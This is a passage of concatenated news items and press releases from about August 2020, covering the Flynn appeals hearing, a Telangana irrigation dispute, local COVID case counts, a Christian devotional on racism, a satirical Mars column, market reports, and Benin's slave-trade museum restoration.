legally mineable. Disclosure of "contained ounces" in a resource is permitted disclosure under Canadian regulations; however, the SEC normally only permits issuers to report mineralization that does not constitute "reserves" by SEC standards as in-place tonnage and grade without reference to unit measures. The requirements of NI 43-101 for identification of "reserves" are also not the same as those of the SEC, and reserves reported by the Company in compliance with NI 43-101 may not qualify as "reserves" under SEC standards. Accordingly, information concerning mineral deposits set forth herein may not be comparable with information made public by companies that report in accordance with U.S. standards. SOURCE: First Mining Gold Corp. View source version on accesswire.com:https://www.accesswire.com/601138/First-Mining-Provides-an-Update-on-the-Pickle-Crow-Gold-Project Actor Kareena Kapoor Khan has been home through the lockdown but that has not stopped from gracing magazine covers. The actor was the cover girl for Filmfare as the magazine celebrated her completion of 20 years in Bollywood. What made it even more special was that it was shot at their home by husband, actor Saif Ali Khan. The caption of the picture read: Celebrating 20 years of #KareenaKapoorKhan! Heres presenting the superstar on our latest cover; shot exclusively at home by hubby #SaifAliKhan. Looking stunning in a pale blue linen shirt, Kareenas heavily kohled eyes stand out as she looks at the camera. Her hair falls in gentle waves around her shoulders. Also read: Ankita Lokhande welcomes twins Abeer and Abeera to family: A new life has begun, see pic Earlier in June Kareena had recalled her first shot for Refugee and written: My first shot was at 4 am... I woke up this morning at 4, looked in the mirror, and said to myself that this was the best decision I could have ever taken. 20 years of hard work, dedication, and self-confidence... I am extremely grateful to all my fans for all your love, support, and strength... Thank you #JPDutta for my life in the movies... @bachchan for being the sweetest co-star... and every single person involved in this film. Want to go back in time... #20YearsAndNotGivingUp. Kareena was recently in news when she spoke on nepotism. In an interview with Barkha Dutt, she had said: 21 years of working would not have happened with just nepotism. It is not possible. I can take a long list out of superstars children for whom its not been able to happen that way. Many star kids have come under attack, some directly like Alia Bhatt and Janhvi Kapoor and others in a veiled fashion over insider privilege. Follow @htshowbiz for more The Trump Justice Department encountered turbulence Tuesday in its effort to promptly dismiss the case against Mike Flynn as the government's top advocate raised the surprising argument that Attorney General Bill Barr may have held secret information when he pushed to drop charges against Flynn. Acting Solicitor General Jeffrey Wall made the point while pushing back a series of tough questions and statements form members of the U.S. Court of Appeals for the D.C. Circuit who were hearing the Flynn case a prosecution that has infuriated President Donald Trump. 'The AG sees this in the context of non-public information from other investigations,' Wall told the judges, justifying the government's sudden decision to drop the case despite Flynn's sworn guilty plea. Acting Solicitor General Jeffrey Wall made the argument that the attorney general may have information he was 'not able to share' when the Justice Department suddenly dropped the case against former White House national security advisor Mike Flynn This courtroom sketch depicts former President Donald Trump's former national security adviser Michael Flynn, standing center, flanked by his lawyers, listening to U.S. District Judge Emmet Sullivan, right, as he addresses Flynn and points to the American flag inside the federal court in Washington, Washington, Tuesday, Dec. 18, 2018 'It may be possible the attorney general had before him information that he was not able to share with the court. We put in front of the court the reasons that we could but it may not be the whole picture available to the executive branch,' he said, Politico reported. Notably, Wall did not actually assert that Barr had secret information about the Flynn case that he was refusing to share. Confidential and sensitive information can be kept under seal in case with national security implications. The judges heard arguments about Judge Emmet Sullivan's to hold a hearing on how to proceed when the government sought to drop its case. He even had a retired judge draft a friend of the court brief, since both Flynn's lawyers and the government ended up on the same side. Flynn pleaded guilty to lying to the FBI about his Russia contacts in pre-inauguration conversations about U.S. sanctions on Moscow The U.S. appeals court judges on voiced skepticism toward a bid by Flynn to compel Sullivan to immediately drop the criminal case against him as the Justice Department has demanded despite Flynn twice pleading guilty to lying to the FBI. 'The AG sees this in the context of non-public information from other investigations,' acting solicitor general Jeffrey Wall told the judges, justifying the government's sudden decision to drop the case despite Flynn's sworn guilty plea Attorney General William Barr's department suddenly dropped charges against Mike Flynn despite his earlier guilty pleas In this May 1, 2008 file photo, U.S. District Judge Emmet G. Sullivan is pictured during a ceremony at the federal courthouse in Washington. ''And your position,' Judge Cornelia Pillard told Flynn's lawyer during the hearing, 'is that, 'No, he can't hear both sides on the law and he has to drop the case like a hot potato' Ten judges from the U.S. Court of Appeals for the District of Columbia Circuit heard fresh arguments in the politically charged case after a three-judge panel of the same court, in a 2-1 ruling on June 24, had directed U.S. District Judge Emmet Sullivan to grant the Justice Department motion to clear Flynn. Flynn, a retired Army lieutenant general, was charged under former Special Counsel Robert Mueller's investigation that detailed Russian interference in the 2016 U.S. election to boost Trump's candidacy. Some of the judges questioned whether it would be premature for them to end the case now, before Sullivan has even ruled on the Justice Department's request for dismissal. 'The integrity and independence of the courts is also at play here,' Judge Cornelia Pillard told Justice Department lawyer Jeff Wall, asking whether any 'self-respecting' federal district judge 'would simply jump and enter an order without doing what he can to understand both sides.' 'And your position,' Pillard told Flynn's lawyer earlier in the hearing, 'is that, 'No, he can't hear both sides on the law and he has to drop the case like a hot potato.'' Democrats and other critics have accused Attorney General Bill Barr of protecting Trump's friends and allies in this and other high-profile criminal cases, warping the rule of law. Trump on July 10 also commuted the prison sentence of his friend and adviser Roger Stone, who was convicted of lying under oath to lawmakers investigating Russian election meddling. Flynn pleaded guilty two times to lying to the FBI about his conversations with Russia's then-ambassador, Sergey Kislyak, concerning U.S. sanctions imposed on Moscow under President Barack Obama before Trump took office in 2017. Judge Thomas Griffith during the hearing suggested that Sullivan can scrutinize whether Flynn had been given favorable treatment because he is a Trump ally. Griffith also said Sullivan appeared to be simply 'educating' himself by holding a court hearing before ruling on the Justice Department's request. 'The judge is not simply a rubber stamp,' Griffith said, echoing words Sullivan has used in the case. Sidney Powell, Flynn's lawyer, during the hearing accused Sullivan of 'usurping' the job of a prosecutor and said the judge 'impermissibly sallied forth to right the wrongs that he perceived.' Wall told the judges that Sullivan lacks the constitutional authority to second-guess the dropping of the Flynn case. Judge David Tatel pressed Wall over that argument, asking, 'Don't courts regularly scrutinize the executive's stated justifications?' Wall also suggested the possibility that the Justice Department moved to drop the Flynn case because of findings that have not been made public. 'It may be possible the attorney general had before him information that he was not able to share with the court,' Wall said, without offering specifics. In asking the full D.C. Circuit court to reconsider the three-judge panel's ruling, Sullivan had said the Justice Department's move to clear Flynn was unprecedented and warranted careful scrutiny. The judges will decide either to order an end to the case or to let Sullivan hear arguments on dismissing the charges. The D.C. Circuit's decision potentially could be appealed to the U.S. Supreme Court. After pleading guilty, Flynn switched lawyers to pursue a scorched-earth tactic that accused the FBI of setting him up. Flynn played a prominent role in Trump's 2016 campaign. Trump then fired Flynn in 2017 after only 24 days as national security adviser when it emerged that Flynn had misled Vice President Mike Pence and the FBI about his Kislyak dealings. (Reporting by Jan Wolfe and Sarah N. Lynch Editing by Will Dunham) Chief Minister Of Telangana Sri K Chandrashekhar Rao has expressed anger and took severe exception over the Centre following faulty policies and the AP State government making meaningless, baseless and unnecessary fuss over the projects being constructed in the Telangana State. The CM has decided that for the Apex Council meeting to be held shortly, the facts about the projects being constructed in the Telangana State with complete data will be placed before the Council and strong arguments will be put forth. It was opined that a befitting reply should be given to both the AP State government and the Centre. The CM has also expressed deep regrets at the AP State government for lodging false complaints against the Telangana State. He also expressed his dissatisfaction over attitude of the AP Government. To finalise the strategy to be implemented in the Apex Council meeting, the CM held a meeting with the Irrigation Officials at Pragathi Bhavan here on Monday. In this context, the CM examined the details keenly of the projects being constructed in the State. He also discussed about the stand taken by, opinions expressed by the AP government and the Centre. I, on my own, invited the AP State elders in the government, offered them lunch and discussed the matter. I have extended a friendly hand to the AP state government saying that both the states should construct projects based on the needs of the people. We have made our stand clear that there should not be any egos or Basins (River Basins). We have proposed that since both the states are natural neighbours, both should act in a friendly manner and move forward to the final goal of giving water to farmers in the respective States. We have also told them that the water being wasted into the sea should be diverted to the farmers and towards that goal, action plan should be implemented. But yet, the AP State government had unnecessarily poked us and picking up a fight. The AP State government lodged baseless allegations and complaints without any truth. Let us give a befitting answer in the Apex Council to effectively counter the AP State governments meaningless charges and shut its mouth once and for all. We will create a situation where in the AP State government will never make such allegations in future, the CM said. Also Read: One-month long Rajasthan crisis comes to an end: Sachin Pilot calls for truce with Gandhis Also Read: India stands second in Covid testing after US: Trump The Central government has also faulted in its attitude on the Telangana projects. We are constructing projects based on our share of the river waters. It is not at all correct to raise objections on the projects whose allocation of water was agreed upon before the formation of Telangana State, permissions given and huge funds were spent, the CM observed. The Central government is also raising unnecessary objections over releasing water from Srisailam to Nagarjuna Sagar. In fact, it is only after filling up of Nagarjuna Sagar project that other projects should be filled up with water. In fact, Srisailam is not an irrigation project. It is a hydroelectric project (Hydel power project). Without taking these facts into consideration, the Centre raising objections is not proper. As a State, the Telangana State also has some rights. The state is constructing its projects based on its rights. The Centre should not behave as though it is appropriating the States rights. We will make sure that the Centres policy is known all over the country and will declare all the facts on the matter, the CM said. In Godavari, Krishna basins, projects are constructed based on the States rights. The projects, which are being constructed now, were sanctioned at the time of formation of the State. Water allocations were made for these projects. Permissions from all the Institutions concerned were given including the Centre Water Commission (CWC). About Rs 23,000 Crore funds were already spent. 31,500 acres of land was acquired. Having made such a progress, calling them as new projects is absurd, meaningless and foolish. Though these projects were sanctioned under the united AP state, they have not been completed. Moreover, with less water, high ayucut was proposed. With this, the irrigation needs could never be fulfilled. Designs of majority of these projects were not done keeping in view needs of the Telangana State and its interests. Hence, after formation of the Telangana State we have embarked on redesigning and construction of the projects, based on the share of water, needs and rights of the state. The Telangana Statehood movement began against the united AP rule as a dissatisfaction over projects were not completed despite the water allocations and discrimination being done on the Irrigation sector to the Telangana region, the CM said. The CM declared that Pranahita-Chevella project was redesigned to construct Kaleswaram project, Kanthanapally redesigned to construct Sammakka Sagar, Rajiv Sagar, Indira Sagar redesigned to construct Sitarama Project, and Dummugudem is redesigned to construct Sithamma Sagar. He said Pen Ganga projects agreement was reached in 1975 and the Tribunal award was also given. The CM has instructed the officials to collate data on when these projects were sanctioned? What are the permissions given? How much was spent to these projects when the state was formed. How much land was acquired? The GOs issued in this regard, etc., these details should be made public at the Apex Council meeting and given a befitting reply to those lodged complaints and raised objections. In the first Apex Council meeting held in the past, the AP government had raised objections over the Palamuru-Rangareddy Lift Irrigation Scheme. The Telangana State government mentioned about the Machumarri project taken up by the AP government. Then it was decided that both the projects would continue. It is not proper for the AP to raise the same matter now. We will also once again explain facts about Palamuru-Rangareddy Scheme, the CM said. The Tribunal made it clear that 20 per cent of water used for the drinking water purposes should be taken into consideration. Accordingly, of the 110 TMC of water used for drinking water purposes in Telangana State, 22 TMC should be taken into account, the CM explained. Telangana faced a lot of injustices in the irrigation sector right from the beginning. Nagarjuna Sagar, which was to be constructed at Yeleswaram, was built 17 Kms down in much injustice to the Telangana region. Due to the formation of united AP state, upper Krishna, Tungabhadra and Bhima projects have gone forever. The Bachawat tribunal itself made it clear that Telangana is facing injustices in the allocation of water. The Tribunal realised that the then united AP while arguing for its share of water did not take Telangana into consideration. This is the reason why the Bachawat tribunal made special allocation to Telangana. Projects like Nettempadu, Kaluwakurty, Bhima, and Koill Sagar including Jurala were completed after formation of the State. Since MLAs from Andhra region have blasted the pipes of RDS with bombs, the water, which was supposed to come to Telangana by gravity without any expenses, did not come. To stabilise the RDS Ayucut, after spending lot of money Tummilla Lift was constructed. In a similar way a lot of injustices were being meted out in the irrigation sector. After formation of the State, projects are being constructed based on the water allocation made for the State. Infact, the Telangana state needs more water. We need to get 1000 additional TMC in Godavari surplus water. Godavari has more catchment area in Telangana state. River Godavari flows in more area in Telangana State. Telangana State has also more needs. Of the 2000 TMC that goes into the sea, the Telangana state should at least be allocated 1000 TMC more, the CM requested the Centre. In this meeting, Principal Secretary (Irrigation) Sri Rajat Kumar, CMO Secretary Ms Smita Sabharwal, CM OSR Sri Sridhar Deshpande, Governments Chief Whip Sri Dasyam Vinaya Bhaskar, State Rythu Samithi President Sri Palla Rajeshwar Reddy, MLC Sri Seri Subhash Reddy, MLA Sri Surender, E-in-C Sri Nagender Rao, Deputy E-in-C Ms Anita, DDA Sri Chander Rao, SE Sri R Koteswar Rao, EEs Sri K Prasad, Sri S Vijayakumar, DEE Sri Venkata Narayana, Advocate Sri Ravinder Rao participated. Also Read: Lebanon govt steps down over Beirut explosion LAKE COUNTY -- Lake County confirmed three new cases of COVID-19 on Tuesday after reporting a potential exposure site at Na-Tah-Ka Restaurant in Irons. On Monday, the District Health Department No. 10 reported anyone who was at Na-Tah-Ka on the evening of Aug. 7 should self-monitor for symptoms through Aug. 21 due to the potential of being exposed to the coronavirus. According to Tuesday's report from the health department, Lake County now has 24 confirmed cases of COVID-19 with no deaths. Mecosta County also added one new case of the coronavirus Tuesday, bringing the county total to 63 cases. According to the state of Michigan, Osceola County reported no new cases of the coronavirus Tuesday. The county's total remains at 64 cases. The DHD No. 10 serves residents in Mecosta, Crawford, Kalkaska, Lake, Manistee, Mason, Missaukee, Newaygo, Oceana and Wexford counties. This is Tuesday's breakdown of coronavirus numbers in the health department's jurisdiction: Cumulative total: 1,136 positive COVID-19 cases in the DHD No. 10's jurisdiction. 98 positive cases in Crawford County 41 positive cases in Kalkaska County 24 positive cases in Lake County 34 positive cases in Manistee County 92 positive cases in Mason County 27 positive cases in Missaukee County 242 positive cases in Newaygo County 456 positive cases in Oceana County 59 positive cases in Wexford County Deaths: 22 deaths from COVID-19 in the DHD No. 10's jurisdiction. Deaths are included in the positive cases listed above. 5 deaths in Crawford County 4 deaths in Kalkaska County 2 deaths in Mecosta County 1 death in Missaukee County 6 deaths in Oceana County 4 deaths in Wexford County Recoveries: 861 recoveries from COVID-19 in the DHD No. 10's jurisdiction (based on whether individuals are still alive 30 days past the confirmed date). 72 recoveries in Crawford County 25 recoveries in Kalkaska County 11 recoveries in Lake County 25 recoveries in Manistee County 67 recoveries in Mason County 32 recoveries in Mecosta County 23 recoveries in Missaukee County 190 recoveries in Newaygo County 377 recoveries in Oceana County 39 recoveries in Wexford County As of Tuesday, there are 88,756 confirmed cases and 6,264 confirmed deaths in Michigan. God calls us to live free. He is the One who compels us towards forgiveness, love, and unity, which can only truly happen through His power living in us. The evils of racism have been woven into our world throughout history, and tragically, still affect many lives today. Its real. Divisive. Oppressive. Hate-filled. And it grieves the heart of God who made us and loves us all. To stand strong against racism and to pray for unity and love among us is not only a physical and emotional battle, but a deep spiritual battle too. The enemy wants nothing more than to continually stir up hatred and vicious attacks. He thrives when we live in worry, defeat, and hide in our fears. He loves it when we doubt even the existence of racism and prejudice today. The sin of racism is rooted in pride and division and sets itself against the very thing Christ came to doto draw us together, to reconcile us in Him and with one anotherevery tribe, every nation, every people group, every language. Sadly, many see racism and prejudice as social problems in our nation, and are silent on the issue, not wanting to enter that battle. But its more than a social injustice. Its a spiritual and moral issue that every one of us needs to faceno matter what race, culture, or background we have. If we have set up distinctions within our hearts and minds about one another, even without intending to, but yet its there, God calls us to make it right, with Him. There is no place for racism and prejudice in our lives or in the church. As believers in Christ, we are the ones called to set an example of love for a world that needs hope. Design Credit: SWN/Bethany Pyle God calls us to live free. He is the One who compels us towards forgiveness, love, and unity, which can only truly happen through His power living in us. He is the One who can open our eyes, our ears, and our hearts to really understand the traps and battles before us. And He gives us all that we need to live strong. His truth alone will set us free. So if the Son sets you free, you will be free indeed. (John 8:36) What the Bible says about Racism and Prejudice Through Christ, we are all Gods children. For in Christ Jesus you are all sons of God, through faith. For as many of you as were baptized into Christ have put on Christ. There is neither Jew nor Greek, there is neither slave nor free, there is no male and female, for you are all one in Christ Jesus. And if you are Christ's, then you are Abraham's offspring, heirs according to promise. (Galatians 3:26-29) God does not show favoritism. He accepts us all just the same, as we seek to follow Him. So Peter opened his mouth and said: Truly I understand that God shows no partiality, but in every nation anyone who fears him and does what is right is acceptable to him.' (Acts 10:34-35) There are no distinctions in Gods family, He is Lord of us all. For there is no distinction between Jew and Greek; for the same Lord is Lord of all, bestowing his riches on all who call on him. For everyone who calls on the name of the Lord will be saved. (Romans 10:12-13) He calls us to love one another and follow the example of Jesus. A new commandment I give to you, that you love one another: just as I have loved you, you also are to love one another. (John 13:34) We are one body, filled with His Spirit, because of Christ. Though we do not lose our individual identities and uniqueness, He unites us, differences and all. For in one Spirit we were all baptized into one bodyJews or Greeks, slaves or freeand all were made to drink of one Spirit. (1 Corinthians 12:13) People from every tribe and nation, all those who have chosen to follow Christ, will be in heaven together in the presence of the Lord. After this I looked, and behold, a great multitude that no one could number, from every nation, from all tribes and peoples and languages, standing before the throne and before the Lamb, clothed in white robes, with palm branches in their hands, (Revelation 7:9) God reminds us not to look at the outward appearance of others, but at the heart. But the Lord said to Samuel, Do not look on his appearance or on the height of his stature, because I have rejected him. For the Lord sees not as man sees: man looks on the outward appearance, but the Lord looks on the heart. (1 Samuel 16:7) Related: Listen to Our Podcast Episode of Faith Over Fear: The Courage to Stand Against Racism: There are no distinctions in Christ, He is our unifying factor. Here there is not Greek and Jew, circumcised and uncircumcised, barbarian, Scythian, slave, free; but Christ is all, and in all. (Colossians 3:11) Gods word is clear on how we should treat others who may be different from us, with love, as one of our own. When a stranger sojourns with you in your land, you shall not do him wrong. You shall treat the stranger who sojourns with you as the native among you, and you shall love him as yourself, for you were strangers in the land of Egypt: I am the Lord your God. (Leviticus 19:33-34) People will know that we are followers of Christ by our love and actions towards others. By this all people will know that you are my disciples, if you have love for one another. (John 13:35) Only Christ can break down the walls of division and hate. He alone is our peace. For he himself is our peace, who has made us both one and has broken down in his flesh the dividing wall of hostility by abolishing the law of commandments expressed in ordinances, that he might create in himself one new man in place of the two, so making peace, (Ephesians 2:14-15) Design Credit: SWN/Bethany Pyle A Prayer against Racism: Dear God, We thank you that you alone have called us to live free. We thank you for the love and acceptance into your family as followers of Christ. We pray for your spirit of unity and peace among believers in our nation. We ask that you would demolish the strongholds of racism and pride that have held your people back. Release the grip of the enemy over those who have been blinded, over those who have been deceived, and give them the power to walk free. We confess the sin we have held in our own hearts and ask for your forgiveness and grace over our lives. We know how much we need you to help us truly follow the example of Christ and love one another as youve called us to. We ask for your courage to be a voice, for your strength to be a godly example, for your power to carry us onward. Lord change our hearts and attitudes. Replace indifference with compassion. Replace fear with faith. Replace pride with a deep humility willing to be set free by your mercy. We love you Lord and call upon your help this day, and every day. Protect and strengthen your people for the glory of your great Name. In Jesus Name, Amen. Photo Credit: Getty Images/Rawpixel Debbie McDaniel is a writer, pastor's wife, mom to three amazing kids (and a lot of pets). Join her each morning on Fresh Day Ahead's Facebook page, for daily encouragement in living strong, free, hope-filled lives. Find her also on Twitter and at her blog debbiemcdaniel.com. Want more interaction with the women of iBelieve? Join our fans, writers, and editors at the iBelieve Facebook group, Together in Faith, for more videos, stories, testimonies, prayers and more. Visit here to join the community! A spacecraft blasted off recently from Florida and will be making a very long trip to Mars as part of joint US-European mission. It will not arrive until next February and will be the first part of a decade long mission to eventually bring back some samples from the Martian surface to Earth. Then the real fighting will begin as to which scientists get to examine the stuff first. As long as some overzealous customs agent doesnt confiscate everything when it tries to get through immigration back on Earth, that is. This happens to be a favorable time to launch to the red planet. Everyone is eager to get away from Earth due to the coronavirus, hurricane season and the upcoming election. The shortest journey can take up to 7 months. Because it takes the Earth around 365 days to go around the Sun and Mars (always the slowpoke) a whopping 687 days to do the same, their orbits only align about every 26 months. So there is always a rush to launch missions every couple of years to avoid an even longer journey and an even bigger rocket fuel bill. This endeavor requires the brightest science and math people money can buy. They have to be in their right mind, rational and 100% for the mission to Mars. Thats why the first rocket was launched to the tune of When the Sane Go Martian In. And politics is unfortunately playing a role here too. Since Mars is a red planet, Republicans want to keep it that way, but Democrats are looking to turn it blue in the upcoming election. There are even calls for statehood for Mars in the future, but I guess it would need people first. Stay tuned. On the first mission the rover (which is painted the same color as the Martian surface) will sniff around and dig for samples and then either put them in a pile or bury them for safekeeping from squirrels. Once all the samples have been collected a second spacecraft, the Mars Ascent Vehicle or MAV, will have arrived. NASA will then issue the coded message, Red rover, red rover, send your samples right over. And like a good little doggie, rover will fetch the goods to please his master, the MAV. The MAV will then take the samples and blast off for Earth leaving poor, little rover behind to fend for himself. The first rover is also designed to look for signs that the red planet once had life. It will scour the surface for dilapidated houses, derelict cars, graffiti, discarded beer bottles and fast food wrappers. An old, abandoned disco might indicate it even had nightlife. And someday we might even colonize Mars. But so far there is no desire to do the same with the Moon. Nobody really wants to go there anyway. Theres just no atmosphere. SPRING VALLEY, Minn., Aug. 11, 2020 /PRNewswire/ -- After 100 years, L.A. Rockler Fur Company is moving into the final stages of selling its inventory of garments. The furs are being sold in a Luxury Fur Auction consisting of a series of online auctions, with Minnesota auction firm Grafe Auction Company managing the sales. The inventory liquidation began in early March with a tag sale, where prospective buyers could buy at set prices. But now, the bidders will be the ones setting the prices, according to Paul McCartan, one of the project managers for Grafe. The first auction, with 96 garments being sold, can be viewed at grafeauction.com. A second auction with approximately 300 more will be added shortly. The garments in current auctions are available for viewing at the Rockler store from 10 a.m. to 1 p.m. each weekday, 16 North 4th Street, Minneapolis. "After the first couple of groups, we'll be putting more garments into auctions on the site for the next few weeks. We will be selling 700 to 800 a week until the entire inventory is sold," said McCartan. Garments include a wide range of furs and styles, including full-length mink, mink stoles and jackets, rabbit, chinchilla, red fox and silver fox. McCartan said fur retailers and individuals alike are showing an interest in the auction. "In some cases, garments will likely sell for less than retailers are paying wholesalers, so they will see it as a way to improve their margins while offering a wider selection to their retail customers," said McCartan. The company has closed and is selling its inventory because 90-year-old industry legend Sheldon Rockler has retired. Individuals with questions about the auction may call Ben Grafe, 507-273-3507 or McCartan at 515-320-7600. Grafe Auction , based in Spring Valley, Minnesota, is a national leader in commercial, industrial and specialty auction events. For more information: Carl Carter, 205-910-1952 SOURCE Grafe Auction Related Links https://www.grafeauction.com Technavio has been monitoring the HVAC control systems market and it is poised to grow by USD 4.89 billion during 2020-2024, progressing at a CAGR of almost 5% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200811005220/en/ Technavio has announced its latest market research report titled Global HVAC Control Systems Market 2020-2024 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please Request Latest Free Sample Report on COVID-19 Impact The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Azbil Corp., Delta Electronics Inc., Emerson Electric Co., Honeywell International Inc., Johnson Controls International Plc, Lennox International Inc., Mitsubishi Electric Corp., Schneider Electric SE, Siemens AG, and Trane Technologies Plc are some of the major market participants. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Advances in temperature control systems have been instrumental in driving the growth of the market. However, high investment costs might hamper the market growth. HVAC Control Systems Market 2020-2024: Segmentation HVAC Control Systems Market is segmented as below: Product Sensors Controlled Devices Controllers Geography APAC North America Europe MEA South America End-user Automotive Residential Commercial Industrial To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR44536 HVAC Control Systems Market 2020-2024: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our HVAC control systems marketreport covers the following areas: HVAC Control Systems Market size HVAC Control Systems Market trends HVAC Control Systems Market industry analysis This study identifies the personalization of HVAC controls as one of the prime reasons driving the HVAC control systems market growth during the next few years. HVAC Control Systems Market 2020-2024: Vendor Analysis We provide a detailed analysis of around 25 vendors operating in the HVAC control systems market, including some of the vendors such as Azbil Corp., Delta Electronics Inc., Emerson Electric Co., Honeywell International Inc., Johnson Controls International Plc, Lennox International Inc., Mitsubishi Electric Corp., Schneider Electric SE, Siemens AG, and Trane Technologies Plc. Backed with competitive intelligence and benchmarking, our research reports on the HVAC Control Systems Market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform HVAC Control Systems Market 2020-2024: Key Highlights CAGR of the market during the forecast period 2020-2024 Detailed information on factors that will assist HVAC control systems market growth during the next five years Estimation of the HVAC control systems market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the HVAC control systems market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of HVAC control systems market vendors Table Of Contents: Executive Summary Market Landscape Market ecosystem Value chain analysis Market Sizing Market definition Market segment analysis Market size 2019 Market outlook: Forecast for 2019 2024 Five Forces Analysis Five forces summary Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition Market Segmentation by Product Market segments Comparison by Product Sensors Market size and forecast 2019-2024 Controlled devices Market size and forecast 2019-2024 Controllers Market size and forecast 2019-2024 Market opportunity by Product Market Segmentation by End-user Market segments Comparison by End-user Automotive Market size and forecast 2019-2024 Residential Market size and forecast 2019-2024 Commercial Market size and forecast 2019-2024 Industrial Market size and forecast 2019-2024 Market opportunity by End-user Customer Landscape Geographic Landscape Geographic segmentation Geographic comparison APAC Market size and forecast 2019-2024 North America Market size and forecast 2019-2024 Europe Market size and forecast 2019-2024 MEA Market size and forecast 2019-2024 South America Market size and forecast 2019-2024 Key leading countries Market opportunity by geography Market Drivers Demand led growth Market Challenges Market Trends Vendor Landscape Vendor landscape Landscape disruption Vendor Analysis Vendors covered Market positioning of vendors Azbil Corp. Delta Electronics Inc. Emerson Electric Co. Honeywell International Inc. Johnson Controls International Plc Lennox International Inc. Mitsubishi Electric Corp. Schneider Electric SE Siemens AG Trane Technologies Plc Appendix Scope of the report Currency conversion rates for US$ Research methodology List of abbreviations About Us Technavio is a leading global technology research and advisory company. Their research and analysis focuses on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200811005220/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ By Trend Over the past 24 hours, Armenian armed forces have violated the ceasefire along the line of contact between Azerbaijani and Armenian troops 29 times, Trend reports referring to Azerbaijani Defense Ministry. Armenian armed forces were using large-caliber machine guns and sniper rifles. The conflict between the two South Caucasus countries began in 1988 when Armenia made territorial claims against Azerbaijan. As a result of the ensuing war, Armenian armed forces occupied 20 percent of Azerbaijan, including the Nagorno-Karabakh region and seven surrounding districts. The 1994 ceasefire agreement was followed by peace negotiations. Armenia has not yet implemented four UN Security Council resolutions on the withdrawal of its armed forces from Nagorno Karabakh and the surrounding districts. --- Follow us on Twitter @AzerNewsAz As Western cities see statues of slaveholders and colonialists toppled, Benin's coastal town of Ouidah is going the other way, restoring monuments to the painful era of the slave trade. During the 17th and 18th centuries, European slavers held more than one million African men, women and children in Ouidah's Portuguese Fort before shipping them across the Atlantic in abominable conditions. Ouidah, about 40 kilometres (25 miles) from Benin's economic hub of Cotonou, was one of the main slave staging posts to the Americas, according to research at Yale University. It ranked alongside "slave coast" ports in modern-day Ghana and the swathe of Central Africa that today encompasses Angola, the Republic of Congo and the Democratic Republic of Congo. In Benin, coveted for slave trade by Portugal, Britain and France, villagers were captured in surprise raids orchestrated by powerful local chiefs. The renovation of the Ouidah fort and the history museum inside is part of Benin's drive to ensure that future generations of Africans know their ancestors' suffering. "When I see these chains that hobbled our ancestors, I feel sick," Benoit Daounde told AFP as he studied a number of artefacts moved to a temporary exhibition. 'Slavery must be taught' "But it's our history. We must accept it and tell it to future generations," said Daounde, a UN official who returned to Benin on holiday from his posting in Cameroon. "Our children know nothing of all that. Slavery must be taught in school and more than in just a few lessons," Daounde said. He is one of a stream of other Beninese, Ouidah residents and historians who have visited the temporary exhibition since it opened on August 3. Benin. By (AFP) Meanwhile dozens of labourers at the fort work from morning until night to have the refurbished museum opened before the year ends. Under protective glass in the main hall, visitors can inspect crusty old maps used by Portuguese mariners, along with guns used in the trade. Visitors can also see portable altars used in ceremonies by the long line of kings of former Dahomey, founded around 1600 and crushed by French colonialists in 1894. The museum houses a church bell brought by Roman Catholic missionaries, together with a sinister selection of chains and other implements used to bind slaves. Ulrich Lantonkpode, a jurist who grew up in Ouidah before moving to the capital Cotonou, said that before the exhibition he "lacked elements and information about the culture and history of (his) family". "I appreciate this exhibition as much as the idea to rebuild the Portuguese Fort, enabling us to safeguard this history," he added. Voodoo heritage With its Afro-Brazilian architecture and beaches bordered by coconut palms as far as the eye can see, a town that played a major part in transatlantic slavery has become a development project launched in 2016 by President Patrice Talon. In a bid to promote tourism Benin is presenting an image of itself as a place of "cultural exception", said Minister of Tourism Jean-Michel Abimbola, who stressed that the government has allocated a budget of one billion euros ($1.17 billion) toward that goal. A man sleeps on a bench next to a voodoo idol in Porto-Novo. The city's old quarter has dozens of 'voodoo squares' that were set up by families who settled from the 16th century and established temples and divinities around their houses. By Yanick Folly (AFP) Authorities are renovating the Pendjari National Park in the far north to attract safari hunters, and building several museums of voodoo, an ancestral religion that originated in the Kingdom of Dahomey. Benin has asked France to return objects looted in colonial conflicts. But the spread of jihadist activity in West Africa has slowed tourism from Europe in the past few years. The COVID-19 pandemic has worsened the prospects, compelling Beninese authorities to promote strictly regional tourism. "In Ouidah, we are aiming at the Nigerian market as a priority," said Wenceslas Adjognon-Monnon, development manager with the national heritage and tourism agency. Nigeria's economic capital Lagos is only about 100 kilometres (60 miles) from Ouidah and the vast nation of some 200 million people shares little of Benin's history of slavery and colonisation. 'We need tough action' "We need tough action, way beyond the movements to reclaim black causes," argued Eric Accrombessi, a tourist guide born in Ouidah. 'The Door of No Return': a memorial on Ouidah beach devoted to slaves who never returned to Africa. By Yanick Folly (AFP) "The renovation of these places will better illustrate the course of history to pass on to future generations." The authorities are also building an International Museum of Memory and Slavery, with a tourist complex of 130 rooms and places of reflection, and a reconstruction of a slave ship. Historian Sarah Pruitt stressed that while exact numbers will never be known, some 12.5 